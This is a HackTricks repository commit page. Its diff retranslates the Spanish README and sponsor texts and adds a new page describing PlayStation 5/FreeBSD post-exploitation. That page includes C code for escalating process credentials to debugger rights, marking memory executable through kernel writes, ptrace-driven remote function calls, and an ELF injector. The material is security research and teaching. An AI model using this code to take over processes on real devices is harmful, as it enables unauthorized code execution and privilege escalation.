maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/generic-hacking/exfiltration.md', 'src/pentesting-web/b

Browse Source
This commit is contained in:
Translator 2025-09-30 22:44:43 +00:00
parent 30a322bfb1
commit 16ab8466d1
20 changed files with 2068 additions and 866 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
searchindex.js
View File

File diff suppressed because one or more lines are too long

102
src/README.md
View File

@ -2,9 +2,9 @@
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
_Los logos y el diseño en movimiento de Hacktricks son de_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
_Logotipos y motion design de Hacktricks por_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
### Ejecutar HackTricks Localmente
### Ejecutar HackTricks localmente
```bash
# Download latest version of hacktricks
git clone https://github.com/HackTricks-wiki/hacktricks
@ -31,7 +31,7 @@ export LANG="master" # Leave master for english
# Run the docker container indicating the path to the hacktricks folder
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
```
Tu copia local de HackTricks estará **disponible en [http://localhost:3337](http://localhost:3337)** después de <5 minutos (necesita construir el libro, ten paciencia).
Tu copia local de HackTricks estará **disponible en [http://localhost:3337](http://localhost:3337)** después de <5 minutos (necesita compilar el libro, ten paciencia).
## Patrocinadores Corporativos
@ -39,11 +39,11 @@ Tu copia local de HackTricks estará **disponible en [http://localhost:3337](htt
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) es una gran empresa de ciberseguridad cuyo lema es **HACK THE UNHACKABLE**. Realizan su propia investigación y desarrollan sus propias herramientas de hacking para **ofrecer varios servicios valiosos de ciberseguridad** como pentesting, Red teams y capacitación.
[**STM Cyber**](https://www.stmcyber.com) es una gran empresa de ciberseguridad cuyo eslogan es **HACK THE UNHACKABLE**. Realizan su propia investigación y desarrollan sus propias herramientas de hacking para **ofrecer varios servicios valiosos de ciberseguridad** como pentesting, Red teams y formación.
Puedes consultar su **blog** en [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
**STM Cyber** también apoya proyectos de código abierto en ciberseguridad como HackTricks :)
**STM Cyber** también apoya proyectos open source de ciberseguridad como HackTricks :)
---
@ -51,7 +51,7 @@ Puedes consultar su **blog** en [**https://blog.stmcyber.com**](https://blog.stm
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en cada disciplina.
[**RootedCON**](https://www.rootedcon.com) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro ferviente para profesionales de la tecnología y la ciberseguridad de todas las disciplinas.
{{#ref}}
https://www.rootedcon.com/
@ -63,9 +63,9 @@ https://www.rootedcon.com/
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
**Intigriti** es la **plataforma de hacking ético y bug bounty #1 de Europa.**
**Intigriti** es la plataforma #1 de Europa de ethical hacking y bug bounty.
**Consejo de bug bounty**: **regístrate** en **Intigriti**, una plataforma premium de **bug bounty creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
**Consejo de bug bounty**: **regístrate** en **Intigriti**, ¡una plataforma premium de bug bounty creada por hackers, para hackers! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y empieza a ganar bounties de hasta **$100,000**!
{{#ref}}
https://go.intigriti.com/hacktricks
@ -78,7 +78,7 @@ https://go.intigriti.com/hacktricks
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para crear y **automatizar workflows** fácilmente impulsados por las herramientas comunitarias más **avanzadas** del mundo.
Obtén acceso hoy:
@ -92,23 +92,23 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
<figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bug bounty!
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y bug bounty hunters!
- **Perspectivas de Hacking:** Participa en contenido que profundiza en la emoción y los desafíos del hacking
- **Noticias de Hackeo en Tiempo Real:** Mantente al día con el mundo del hacking a través de noticias e información en tiempo real
- **Últimos Anuncios:** Mantente informado sobre las nuevas recompensas de bug bounty que se lanzan y actualizaciones cruciales de la plataforma
- **Hacking Insights:** Participa en contenido que profundiza en la emoción y los desafíos del hacking
- **Real-Time Hack News:** Mantente al día con el vertiginoso mundo del hacking mediante noticias e insights en tiempo real
- **Latest Announcements:** Mantente informado sobre los nuevos bug bounties que se lanzan y actualizaciones importantes de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
**¡Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!**
---
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - El kit de herramientas esencial para pruebas de penetración
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - The essential penetration testing toolkit
<figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Obtén la perspectiva de un hacker sobre tus web apps, network y cloud**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en los negocios.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios, y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
**Encuentra y reporta vulnerabilidades críticas y explotables con impacto real en el negocio.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, transformando tu trabajo en reportes persuasivos.
{{#ref}}
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@ -120,22 +120,22 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
**SerpApi** ofrece APIs en tiempo real rápidas y fáciles para **acceder a resultados de motores de búsqueda**. Ellos extraen datos de motores de búsqueda, manejan proxies, resuelven captchas y analizan todos los datos estructurados ricos por ti.
**SerpApi** ofrece APIs en tiempo real rápidas y fáciles para **acceder a resultados de motores de búsqueda**. Rastrean search engines, gestionan proxies, resuelven captchas y parsean todos los datos estructurados ricos por ti.
Una suscripción a uno de los planes de SerpApi incluye acceso a más de 50 APIs diferentes para extraer datos de diferentes motores de búsqueda, incluyendo Google, Bing, Baidu, Yahoo, Yandex, y más.\
A diferencia de otros proveedores, **SerpApi no solo extrae resultados orgánicos**. Las respuestas de SerpApi incluyen consistentemente todos los anuncios, imágenes y videos en línea, gráficos de conocimiento y otros elementos y características presentes en los resultados de búsqueda.
Una suscripción a uno de los planes de SerpApi incluye acceso a más de 50 APIs diferentes para scraping de distintos search engines, incluyendo Google, Bing, Baidu, Yahoo, Yandex y más.\
A diferencia de otros proveedores, **SerpApi no solo raspa resultados orgánicos**. Las respuestas de SerpApi incluyen de forma consistente todos los anuncios, imágenes y vídeos inline, knowledge graphs y otros elementos y funcionalidades presentes en los resultados de búsqueda.
Los clientes actuales de SerpApi incluyen **Apple, Shopify y GrubHub**.\
Para más información, consulta su [**blog**](https://serpapi.com/blog/)**,** o prueba un ejemplo en su [**playground**](https://serpapi.com/playground)**.**\
Entre los clientes actuales de SerpApi se encuentran **Apple, Shopify y GrubHub**.\
Para más información consulta su [**blog**](https://serpapi.com/blog/)**,** o prueba un ejemplo en su [**playground**](https://serpapi.com/playground)**.**\
Puedes **crear una cuenta gratuita** [**aquí**](https://serpapi.com/users/sign_up)**.**
---
### [8kSec Academy – Cursos de Seguridad Móvil en Profundidad](https://academy.8ksec.io/)
### [8kSec Academy – In-Depth Mobile Security Courses](https://academy.8ksec.io/)
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
Aprende las tecnologías y habilidades necesarias para realizar investigación de vulnerabilidades, pruebas de penetración y ingeniería inversa para proteger aplicaciones y dispositivos móviles. **Domina la seguridad de iOS y Android** a través de nuestros cursos bajo demanda y **certifícate**:
Aprende las tecnologías y habilidades necesarias para realizar vulnerability research, penetration testing y reverse engineering para proteger aplicaciones y dispositivos móviles. **Domina iOS y Android security** a través de nuestros cursos on-demand y **obtén certificación**:
{{#ref}}
https://academy.8ksec.io/
@ -147,13 +147,13 @@ https://academy.8ksec.io/
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.net) es una empresa profesional de ciberseguridad con sede en **Ámsterdam** que ayuda a **proteger** negocios **en todo el mundo** contra las últimas amenazas de ciberseguridad al proporcionar **servicios de seguridad ofensiva** con un enfoque **moderno**.
[**WebSec**](https://websec.net) es una empresa profesional de ciberseguridad con sede en **Amsterdam** que ayuda a **proteger** negocios **en todo el mundo** contra las últimas amenazas de ciberseguridad proporcionando **servicios de offensive-security** con un enfoque **moderno**.
WebSec es una empresa de seguridad internacional con oficinas en Ámsterdam y Wyoming. Ofrecen **servicios de seguridad todo en uno**, lo que significa que lo hacen todo; Pentesting, **Auditorías de Seguridad**, Capacitación en Conciencia, Campañas de Phishing, Revisión de Código, Desarrollo de Exploits, Externalización de Expertos en Seguridad y mucho más.
WebSec es una empresa internacional de seguridad con oficinas en Amsterdam y Wyoming. Ofrecen **servicios de seguridad todo-en-uno**, lo que significa que lo hacen todo: Pentesting, **Security** Audits, Awareness Trainings, Phishing Campaigns, Code Review, Exploit Development, Security Experts Outsourcing y mucho más.
Otra cosa interesante sobre WebSec es que, a diferencia del promedio de la industria, WebSec es **muy confiado en sus habilidades**, hasta el punto de que **garantizan los mejores resultados de calidad**, se indica en su sitio web "**Si no podemos hackearlo, ¡no pagas!**". Para más información, echa un vistazo a su [**sitio web**](https://websec.net/en/) y [**blog**](https://websec.net/blog/)!
Otra cosa interesante sobre WebSec es que, a diferencia del promedio industrial, WebSec está **muy confiada en sus habilidades**, hasta el punto de que **garantizan los mejores resultados**, en su web indican "**If we can't hack it, You don't pay it!**". Para más info visita su [**website**](https://websec.net/en/) y su [**blog**](https://websec.net/blog/)!
Además de lo anterior, WebSec también es un **apoyo comprometido de HackTricks.**
Además, WebSec también es un **firme patrocinador de HackTricks.**
{{#ref}}
https://www.youtube.com/watch?v=Zq2JycGDCPM
@ -165,10 +165,10 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) es un motor de búsqueda de filtraciones de datos (leak). \
Proporcionamos búsqueda de cadenas aleatorias (como google) sobre todo tipo de filtraciones de datos grandes y pequeñas --no solo las grandes-- de datos de múltiples fuentes. \
Búsqueda de personas, búsqueda de IA, búsqueda de organizaciones, acceso a API (OpenAPI), integración de theHarvester, todas las características que un pentester necesita.\
**HackTricks sigue siendo una gran plataforma de aprendizaje para todos nosotros y estamos orgullosos de patrocinarla!**
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) es un motor de búsqueda de data breach (leak). \
Ofrecemos búsqueda de cadenas aleatorias (como google) sobre todo tipo de data leaks grandes y pequeños --no solo los grandes-- sobre datos de múltiples fuentes. \
Búsqueda de personas, búsqueda por AI, búsqueda por organización, acceso por API (OpenAPI), integración con theHarvester, todas las funcionalidades que un pentester necesita.\
**¡HackTricks sigue siendo una gran plataforma de aprendizaje para todos nosotros y estamos orgullosos de patrocinarlos!**
{{#ref}}
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@ -180,13 +180,14 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
<figure><img src="images/cyberhelmets-logo.png" alt="cyberhelmets logo"><figcaption></figcaption></figure>
**Construido para el campo. Construido a tu alrededor.**\
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) desarrolla y ofrece capacitación efectiva en ciberseguridad construida y liderada por expertos de la industria. Sus programas van más allá de la teoría para equipar a los equipos con una comprensión profunda y habilidades prácticas, utilizando entornos personalizados que reflejan amenazas del mundo real. Para consultas sobre capacitación personalizada, contáctanos [**aquí**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
**Lo que distingue su capacitación:**
* Contenido y laboratorios personalizados
**Built for the field. Built around you.**\
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) desarrolla y ofrece formación eficaz en ciberseguridad construida e impartida por expertos de la industria. Sus programas van más allá de la teoría para dotar a los equipos de un entendimiento profundo y habilidades accionables, usando entornos personalizados que reflejan amenazas del mundo real. Para consultas sobre formación a medida, contáctanos [**aquí**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
**Qué distingue su formación:**
* Contenido y labs personalizados
* Respaldado por herramientas y plataformas de primer nivel
* Diseñado y enseñado por profesionales
* Diseñado e impartido por practitioners
{{#ref}}
https://cyberhelmets.com/courses/?ref=hacktricks
@ -198,11 +199,11 @@ https://cyberhelmets.com/courses/?ref=hacktricks
<figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
Last Tower Solutions ofrece servicios especializados de ciberseguridad para instituciones de **Educación** y **FinTech**, con un enfoque en **pruebas de penetración, evaluaciones de seguridad en la nube** y **preparación para cumplimiento** (SOC 2, PCI-DSS, NIST). Nuestro equipo incluye **profesionales certificados OSCP y CISSP**, aportando una profunda experiencia técnica y conocimientos estándar de la industria a cada compromiso.
Last Tower Solutions ofrece servicios especializados de ciberseguridad para instituciones de **Education** y **FinTech**, con un enfoque en **penetration testing, cloud security assessments** y **compliance readiness** (SOC 2, PCI-DSS, NIST). Nuestro equipo incluye profesionales certificados **OSCP y CISSP**, aportando profunda experiencia técnica y perspectiva conforme a los estándares de la industria en cada compromiso.
Vamos más allá de los escaneos automatizados con **pruebas manuales impulsadas por inteligencia** adaptadas a entornos de alto riesgo. Desde asegurar registros de estudiantes hasta proteger transacciones financieras, ayudamos a las organizaciones a defender lo que más importa.
Vamos más allá de los escaneos automatizados con **testing manual e impulsado por inteligencia** adaptado a entornos de alto riesgo. Desde asegurar registros estudiantiles hasta proteger transacciones financieras, ayudamos a las organizaciones a defender lo que más importa.
_“Una defensa de calidad requiere conocer la ofensiva, proporcionamos seguridad a través de la comprensión.”_
_“Una defensa de calidad requiere conocer la ofensiva, brindamos seguridad a través del entendimiento.”_
Mantente informado y al día con lo último en ciberseguridad visitando nuestro [**blog**](https://www.lasttowersolutions.com/blog).
@ -212,7 +213,22 @@ https://www.lasttowersolutions.com/
---
## Licencia y Descargo de Responsabilidad
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
K8Studio IDE empodera a DevOps, DevSecOps y desarrolladores para gestionar, monitorizar y asegurar clusters de Kubernetes de forma eficiente. Aprovecha nuestros insights impulsados por IA, framework de seguridad avanzado y la intuitiva GUI CloudMaps para visualizar tus clusters, entender su estado y actuar con confianza.
Además, K8Studio es **compatible con todas las principales distribuciones de kubernetes** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift y más).
{{#ref}}
https://k8studio.io/
{{#endref}}
---
## License & Disclaimer
Consúltalos en:
@ -220,8 +236,8 @@ Consúltalos en:
welcome/hacktricks-values-and-faq.md
{{#endref}}
## Estadísticas de Github
## Github Stats
![Estadísticas de Github de HackTricks](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)
![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)
{{#include ./banners/hacktricks-training.md}}

6
src/SUMMARY.md
View File

@ -59,6 +59,7 @@
- [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
- [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
- [Deofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
- [Discord Cache Forensics](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md)
- [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
- [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
- [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
@ -82,6 +83,7 @@
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
- [Mutation Testing With Slither](blockchain/smart-contract-security/mutation-testing-with-slither.md)
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
@ -102,6 +104,7 @@
# 🐧 Linux Hardening
- [Linux Basics](linux-hardening/linux-basics.md)
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
@ -570,6 +573,7 @@
- [15672 - Pentesting RabbitMQ Management](network-services-pentesting/15672-pentesting-rabbitmq-management.md)
- [24007,24008,24009,49152 - Pentesting GlusterFS](network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md)
- [27017,27018 - Pentesting MongoDB](network-services-pentesting/27017-27018-mongodb.md)
- [32100 Udp - Pentesting Pppp Cs2 P2p Cameras](network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md)
- [44134 - Pentesting Tiller (Helm)](network-services-pentesting/44134-pentesting-tiller-helm.md)
- [44818/UDP/TCP - Pentesting EthernetIP](network-services-pentesting/44818-ethernetip.md)
- [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md)
@ -587,6 +591,7 @@
- [BrowExt - ClickJacking](pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md)
- [BrowExt - permissions & host_permissions](pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md)
- [BrowExt - XSS Example](pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md)
- [Forced Extension Load Preferences Mac Forgery Windows](pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md)
- [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
- [Captcha Bypass](pentesting-web/captcha-bypass.md)
- [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
@ -843,6 +848,7 @@
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
- [PS5 compromission](binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
- [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)

183
src/binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md Normal file
View File

@ -0,0 +1,183 @@
# FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (estudio de caso PS5)
{{#include ../banners/hacktricks-training.md}}
## Resumen
Esta página documenta una técnica práctica de inyección de procesos/ELF en usermode para Unix/BSD en PlayStation 5 (PS5), que se basa en FreeBSD. El método se generaliza a derivados de FreeBSD cuando ya dispones de primitivas de kernel read/write (R/W). A alto nivel:
- Parchea las credenciales del proceso actual (ucred) para otorgar privilegios de depurador, habilitando ptrace/mdbg en procesos de usuario arbitrarios.
- Encuentra procesos objetivo recorriendo la lista allproc del kernel.
- Evita las restricciones PROT_EXEC ajustando vm_map_entry.protection |= PROT_EXEC en el vm_map del objetivo mediante escrituras de datos en el kernel.
- Usa ptrace para realizar Remote Function Invocation (RFI): suspende un hilo, configura registros para llamar funciones arbitrarias dentro del objetivo, reanuda, recoge valores de retorno y restaura el estado.
- Mapea y ejecuta payloads ELF arbitrarios dentro del objetivo usando un ELF loader en proceso, luego crea un hilo dedicado que ejecuta tu payload y provoca un breakpoint para desacoplarse limpiamente.
Mitigaciones del hypervisor del PS5 a tener en cuenta (contextualizadas para esta técnica):
- XOM (execute-only .text) impide la lectura/escritura de .text del kernel.
- Limpiar CR0.WP o desactivar CR4.SMEP provoca un hypervisor vmexit (crash). Solo las escrituras de kernel que afecten únicamente datos son viables.
- mmap en userland está restringido a PROT_READ|PROT_WRITE por defecto. Conceder PROT_EXEC debe hacerse editando entradas de vm_map en la memoria del kernel.
Esta técnica es post-explotación: asume primitivas kernel R/W obtenidas por una cadena de exploits. Payloads públicos demuestran esto hasta firmware 10.01 en el momento de escribir.
## Primitivas del kernel solo-datos
### Descubrimiento de procesos vía allproc
FreeBSD mantiene una lista doblemente enlazada de procesos en .data del kernel en allproc. Con una primitiva de lectura de kernel, itera sobre ella para localizar nombres de procesos y PIDs:
```c
struct proc* find_proc_by_name(const char* proc_name){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry
if (!strcmp(proc->p_comm, proc_name)) return proc;
kernel_copyout(next, &next, sizeof(uint64_t)); // advance next
} while (next);
free(proc);
return NULL;
}
void list_all_proc_and_pid(){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc));
printf("%s - %d\n", proc->p_comm, proc->pid);
kernel_copyout(next, &next, sizeof(uint64_t));
} while (next);
free(proc);
}
```
Notas:
- KERNEL_ADDRESS_ALLPROC depende del firmware.
- p_comm es un nombre de tamaño fijo; considera búsquedas pid->proc si es necesario.
### Elevar credenciales para depuración (ucred)
En PS5, struct ucred incluye un campo Authority ID accesible vía proc->p_ucred. Escribir el Authority ID del debugger otorga ptrace/mdbg sobre otros procesos:
```c
void set_ucred_to_debugger(){
struct proc* proc = get_proc_by_pid(getpid());
if (proc){
uintptr_t authid = 0; // read current (optional)
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
free(proc);
}
}
```
- Offset 0x58 es específico de la familia de firmware PS5 y debe verificarse para cada versión.
- Después de esta escritura, el injector puede adjuntarse e instrumentar procesos de usuario vía ptrace/mdbg.
## Bypassing RW-only user mappings: vm_map PROT_EXEC flip
El mmap en espacio de usuario puede estar limitado a PROT_READ|PROT_WRITE. FreeBSD rastrea el espacio de direcciones de un proceso en un vm_map formado por nodos vm_map_entry (BST más lista). Cada entry lleva los campos protection and max_protection:
```c
struct vm_map_entry {
struct vm_map_entry *prev,*next,*left,*right;
vm_offset_t start, end, avail_ssize;
vm_size_t adj_free, max_free;
union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
int wired_count; vm_pindex_t lastr;
};
```
Con kernel R/W puedes localizar el vm_map del objetivo y ajustar entry->protection |= PROT_EXEC (y, si es necesario, entry->max_protection). Notas prácticas de implementación:
- Recorre las entries ya sea linealmente vía next o usando el árbol balanceado (left/right) para búsqueda O(log n) por rango de direcciones.
- Elige una región RW conocida que controles (scratch buffer o archivo mapeado) y añade PROT_EXEC para poder situar código o thunks del loader.
- PS5 SDK code proporciona helpers para búsqueda rápida de map-entry y alternar protecciones.
Esto evade la política de mmap del userland editando directamente metadata propiedad del kernel.
## Remote Function Invocation (RFI) with ptrace
FreeBSD no dispone de VirtualAllocEx/CreateRemoteThread al estilo Windows. En su lugar, haz que el objetivo se ejecute a sí mismo llamando funciones bajo control de ptrace:
1. Adjunta al objetivo y selecciona un thread; PTRACE_ATTACH o flujos mdbg específicos de PS5 pueden aplicarse.
2. Guarda el contexto del thread: registros, PC, SP, flags.
3. Escribe los registros de argumentos según el ABI (x86_64 SysV or arm64 AAPCS64), ajusta el PC a la función objetivo y, opcionalmente, coloca argumentos adicionales/pila según sea necesario.
4. Ejecuta paso a paso o continúa hasta una parada controlada (p.ej., software breakpoint o señal), luego lee los valores de retorno desde regs.
5. Restaura el contexto original y continúa.
Casos de uso:
- Llamar a un ELF loader en proceso (p.ej., elfldr_load) con un puntero a tu imagen ELF en la memoria del objetivo.
- Invocar rutinas helper para obtener entrypoints retornados y punteros a payload-args.
Example of driving the ELF loader:
```c
intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
intptr_t args = elfldr_payload_args(target_pid);
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
```
El loader mapea segments, resuelve imports, aplica relocations y devuelve la entry (a menudo un CRT bootstrap) además de un puntero opaque payload_args que tu stager pasa al main() del payload.
## Stager multihilo y detach limpio
Un stager mínimo dentro del objetivo crea un nuevo pthread que ejecuta el main del ELF y luego dispara int3 para señalar al injector que haga detach:
```c
int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
pthread_t thread;
functions->pthread_create_ptr(&thread, 0,
(void*(*)(void*))functions->elf_main, functions->payload_args);
asm("int3");
return 0;
}
```
- Los punteros SCEFunctions/payload_args son proporcionados por el loader/SDK glue.
- Después del breakpoint y detach, el payload continúa en su propio hilo.
## Flujo de extremo a extremo (implementación de referencia PS5)
Una implementación funcional se entrega como un pequeño servidor injector TCP más un script cliente:
- El servidor NineS escucha en TCP 9033 y recibe un encabezado que contiene el nombre del proceso objetivo seguido por la imagen ELF:
```c
typedef struct __injector_data_t{
char proc_name[MAX_PROC_NAME];
Elf64_Ehdr elf_header;
} injector_data_t;
```
- Uso del cliente Python:
```bash
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>
```
Ejemplo de payload Hello-world (registra en klog):
```c
#include <stdio.h>
#include <unistd.h>
#include <ps5/klog.h>
int main(){
klog_printf("Hello from PID %d\n", getpid());
return 0;
}
```
## Consideraciones prácticas
- Offsets and constants (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) son específicos del firmware y deben actualizarse por cada versión.
- Las protecciones del hypervisor obligan a escrituras en el kernel solo de datos; no intentes parchear CR0.WP o CR4.SMEP.
- La memoria JIT es una alternativa: algunos procesos exponen PS5 JIT APIs para asignar páginas ejecutables. El cambio de protección de vm_map elimina la necesidad de depender de trucos de JIT/mirroring.
- Mantén robusto el guardado/restauración de registros; en caso de fallo puedes provocar un deadlock o crash del objetivo.
## Herramientas públicas
- PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk
- ELF loader: https://github.com/ps5-payload-dev/elfldr
- Injector server: https://github.com/buzzer-re/NineS/
- Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils
- Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv
## Referencias
- [Usermode ELF injection on the PlayStation 5](https://reversing.codes/posts/PlayStation-5-ELF-Injection/)
- [ps5-payload-dev/sdk](https://github.com/ps5-payload-dev/sdk)
- [ps5-payload-dev/elfldr](https://github.com/ps5-payload-dev/elfldr)
